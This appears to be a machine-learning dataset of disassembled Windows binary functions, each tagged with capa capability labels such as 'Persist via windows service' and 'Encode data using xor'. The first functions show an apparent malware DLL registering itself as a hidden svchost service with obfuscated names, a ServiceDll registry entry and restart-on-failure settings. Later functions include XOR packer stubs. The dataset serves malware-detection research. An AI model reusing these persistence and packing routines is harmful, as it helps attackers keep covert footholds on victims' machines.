joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000ba30
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10018c40], eax
jne 0x1000ba4b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Tivd_Jluvp_Qaqsaaa_Lhqto_x_b
push str.RKkxpu_Pgwumbg_Mdeg
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10018c3c], eax
jne 0x1000ba84
pop ecx
ret
mov edx, dword [0x10018c40]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10018c3c]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.Uf_qf_KhstvVgtskad_Eguaqj_d
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret

Function at 0x1000bac0
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push str.RKkxpu_Pgwumbg_Mdeg
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret
Function at 0x1000bd00
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.RKkxpu_Pgwumbg_Mdeg
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.1000bc20
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000bc80
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push connect
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._CONP__SQSPJEMMG__bgtaxrf
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._CONP__SQSPJEMMG__bgtaxrf
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.1000bc20
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.1000bc80
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x1000c1d0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.RKkxpu_Pgwumbg_Mdeg
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000c29c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._CONP__SQSPJEMMG__bgtaxrf
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x1000c330
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push connect
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000c453
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000c448
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x1000c453
cmp si, 1
je 0x1000c453
push str.RKkxpu_Pgwumbg_Mdeg
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000c438
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x1000c453
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000c3ed
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x1000c460
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.1000c1d0
test eax, eax
jne 0x1000c46e
call fcn.1000bd00
call fcn.1000c330
test eax, eax
jne 0x1000c47c
jmp fcn.1000bf00
ret
Function at 0x1000ca70
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000cc08
push 0x37a
push str.RKkxpu_Pgwumbg_Mdeg
call fcn.1000c6b0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x224]
add esp, 0xc
push 0x104
push 0x10018c50
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0xc]
push 0x104
push eax
push str._CONP__SQSPJEMMG__bgtaxrf
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
push str._CONP__SQSPJEMMG__bgtaxrf
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10018c50
mov edx, ecx
mov esi, edi
mov edi, str._CONP__SQSPJEMMG__bgtaxrf
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000cb4d
mov dword [0x10018afc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10018aec], eax
call fcn.10006ca0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006220
push str._CONP__SQSPJEMMG__bgtaxrf
call fcn.1000b9a0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._CONP__SQSPJEMMG__bgtaxrf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x110]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x13c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push eax
call fcn.1000ba30
add esp, 4
call fcn.1000bd00
call fcn.1000bf00
push 0x1000
push str._CONP__SQSPJEMMG__bgtaxrf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._CONP__SQSPJEMMG__bgtaxrf
push 0x10018c50
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._CONP__SQSPJEMMG__bgtaxrf
call fcn.1000c480
add esp, 4
call fcn.1000bb80
call fcn.1000bac0
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x208
ret 0xc
Function at 0x98a68c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x98a6b3
call fcn.0092cbf8
mov dword [eax], esi
call fcn.0092cbe5
push 0x16
pop esi
mov dword [eax], esi
call fcn.0092d83a
mov eax, esi
jmp 0x98a708
test dword [ebp + 0xc], 0xfffffff9
jne 0x98a699
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x98a6e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0092cc0b
pop ecx
call fcn.0092cbe5
mov eax, dword [eax]
jmp 0x98a708
test al, 0x10
jne 0x98a706
test al, 1
je 0x98a706
test byte [ebp + 0xc], 2
je 0x98a706
call fcn.0092cbf8
mov dword [eax], 5
call fcn.0092cbe5
mov dword [eax], 0xd
jmp 0x98a6d7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43201e
popal
nop
nop
nop
nop
nop
jmp 0x431219

Function at 0x401a6a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401aa9
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401aa9
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401aa9
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401aa9
cmp dword [ecx + 0x74], 0xe
jbe 0x401aa9
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40ab80
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40abad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40abad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407180
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x4071be
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x4071b6
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x4071c0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x4071a6
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x4072a0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x4072b6
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x4072d1
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d7a
nop
sub eax, 0x403d20
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
popal
nop
nop
nop
nop
jmp loc.00401219
Function at 0x1008037
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x78
push ebx
xor ebx, ebx
cmp dword [0x1021134], ebx
je 0x10081c2
lea eax, [ebp - 4]
push eax
push 0x2001f
push ebx
push 0x1002270
push 0x80000001
mov dword [0x1021134], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10081c2
push esi
push edi
push 4
pop esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
mov edi, 0x10017a8
push edi
push dword [ebp - 4]
mov dword [ebp - 0x14], esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
je 0x10080c0
push esi
lea eax, [ebp - 0x10]
push eax
push esi
push ebx
push edi
push dword [ebp - 4]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
cmp eax, ebx
jne 0x10081b7
cmp dword [ebp - 0xc], esi
jne 0x10081b7
cmp dword [ebp - 0x10], ebx
jne 0x10081b7
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push 0x1001780
push dword [ebp - 4]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1008102
cmp dword [ebp - 0xc], esi
je 0x1008105
mov dword [ebp - 8], ebx
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
push 5
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x100817d
push 0x5c
lea eax, [ebp - 0x74]
push ebx
push eax
mov dword [ebp - 8], ebx
call sub.msvcrt.dll_memset
mov eax, dword [0x10218f8]
add esp, 0xc
mov dword [ebp - 0x70], eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x78], 0x60
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x8e
mov dword [ebp - 0x60], 0xfffd
mov dword [ebp - 0x5c], 0x8f
mov dword [ebp - 0x58], 0x90
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x3c], 0x91
call dword [sym.imp.COMCTL32.dll_Ordinal_345]
push esi
cmp dword [ebp - 0x18], ebx
je 0x10081a3
lea eax, [ebp - 0x18]
push eax
push esi
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0x1001780
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
jmp 0x10081b7
lea eax, [ebp - 8]
push eax
push esi
push ebx
push 0x1001780
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x100946b
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [ebp + 0x14]
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp esi, ebx
jne 0x10094af
mov eax, dword [section..data]
cmp eax, section..data
je 0x10094a5
test byte [eax + 0x1c], 4
je 0x10094a5
push 0x10018ac
push 0xb
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.0100935e
mov eax, 0x80070057
jmp 0x100957c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp + 0x14]
push eax
push ebx
push ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 0x14], ebx
push dword [ebp + 8]
mov dword [ebp - 0x10], ebx
mov dword [ebp + 0x14], ebx
call edi
mov dword [ebp - 0xc], eax
cmp eax, ebx
jne 0x1009521
mov eax, dword [esi]
cmp eax, ebx
je 0x10094e4
push eax
call sub.msvcrt.dll_void___cdecl_operator_delete___void__
pop ecx
mov dword [esi], ebx
push dword [ebp + 0x14]
call sub.msvcrt.dll_void____cdecl_operator_new___unsigned_int_
pop ecx
mov dword [esi], eax
cmp eax, ebx
jne 0x1009521
mov eax, dword [section..data]
cmp eax, section..data
je 0x100951a
test byte [eax + 0x1c], 4
je 0x100951a
push dword [ebp + 0x14]
push 0x10018ac
push 0xc
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.010086a5
mov dword [ebp - 4], 0x8007000e
cmp dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
jl 0x1009555
cmp dword [ebp - 0xc], ebx
jne 0x1009555
mov esi, dword [esi]
lea eax, [ebp + 0x14]
push eax
push esi
lea eax, [ebp - 8]
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call edi
cmp eax, ebx
je 0x1009555
jle 0x1009552
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x18]
pop edi
cmp eax, ebx
je 0x1009562
mov ecx, dword [ebp + 0x14]
mov dword [eax], ecx
mov eax, dword [ebp + 0x10]
cmp eax, ebx
je 0x100956e
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
call fcn.010093d2
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 0x14
Function at 0x100bcf1
Capabilities:
Check if file exists

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
and dword [ebp - 8], 0
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksW]
mov edi, dword [sym.imp.msvcrt.dll_wcscspn]
and dword [ebp - 4], 0
mov ebx, 0x1001c0c
push ebx
push esi
call edi
pop ecx
pop ecx
mov ecx, esi
lea edx, [ecx + 2]
mov dword [ebp - 0xc], edx
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x100bd27
sub ecx, dword [ebp - 0xc]
jmp 0x100bdd0
lea ecx, [esi + eax*2]
cmp word [ecx], 0x2c
jne 0x100bda7
cmp dword [ebp - 4], 0
jne 0x100bdb2
lea esi, [esi + eax*2]
test esi, esi
je 0x100bdda
xor eax, eax
mov word [esi], ax
mov eax, dword [ebp + 0xc]
push 0x1001c08
push dword [ebp + 8]
mov dword [eax], esi
call dword [sym.imp.SHLWAPI.dll_StrTrimW]
push dword [ebp + 8]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x100be08
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 8], eax
test eax, eax
jne 0x100bdfe
mov eax, dword [section..data]
cmp eax, section..data
je 0x100bdfe
test byte [eax + 0x1c], 4
je 0x100bdfe
push 0x1001b20
push 0x33
jmp 0x100bdf3
xor eax, eax
cmp dword [ebp - 4], eax
sete al
mov dword [ebp - 4], eax
lea esi, [ecx + 2]
push ebx
push esi
call edi
pop ecx
pop ecx
mov ecx, esi
lea edx, [ecx + 2]
mov dword [ebp - 0xc], edx
mov dx, word [ecx]
inc ecx
inc ecx
test dx, dx
jne 0x100bdc3
sub ecx, dword [ebp - 0xc]
sar ecx, 1
cmp ecx, eax
ja 0x100bd39
mov eax, dword [section..data]
cmp eax, section..data
je 0x100bdfe
test byte [eax + 0x1c], 4
je 0x100bdfe
push 0x1001b20
push 0x35
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.0100935e
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 8
mov eax, dword [section..data]
cmp eax, section..data
je 0x100bdfe
test byte [eax + 0x1c], 4
je 0x100bdfe
push 0x1001b20
push 0x34
jmp 0x100bdf3

Function at 0x100c15d
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push esi
xor edi, edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveBlanksW]
push esi
call dword [sym.imp.SHLWAPI.dll_PathGetArgsW]
cmp eax, edi
je 0x100c18c
xor ecx, ecx
cmp cx, word [eax]
je 0x100c18c
cmp eax, esi
jbe 0x100c18c
mov word [eax - 2], cx
jmp 0x100c18e
xor eax, eax
push 1
push edi
push eax
push esi
push edi
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jae 0x100c1e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x100c1e2
cmp eax, edi
jle 0x100c1bb
and eax, 0xffff
or eax, 0x80070000
mov edi, eax
mov eax, dword [section..data]
cmp eax, section..data
je 0x100c1e2
test byte [eax + 0x1c], 4
je 0x100c1e2
push edi
push 0x1001b20
push 0x1d
push dword [eax + 0x14]
push dword [eax + 0x10]
call fcn.010086a5
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x100d0a2
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x208
mov eax, dword [0x102171c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x204]
push eax
push 0
push 2
push 0x1001b30
push 0
push esi
mov edi, ecx
mov dword [ebp - 0x208], 0x200
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
jle 0x100d0f8
and eax, 0xffff
or eax, 0x80070000
test eax, eax
mov ecx, edi
jl 0x100d10e
lea eax, [ebp - 0x204]
push eax
call fcn.0100bbc6
test eax, eax
jge 0x100d114
mov ecx, edi
push esi
call fcn.0100c1ef
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0101a14f
leave
ret 4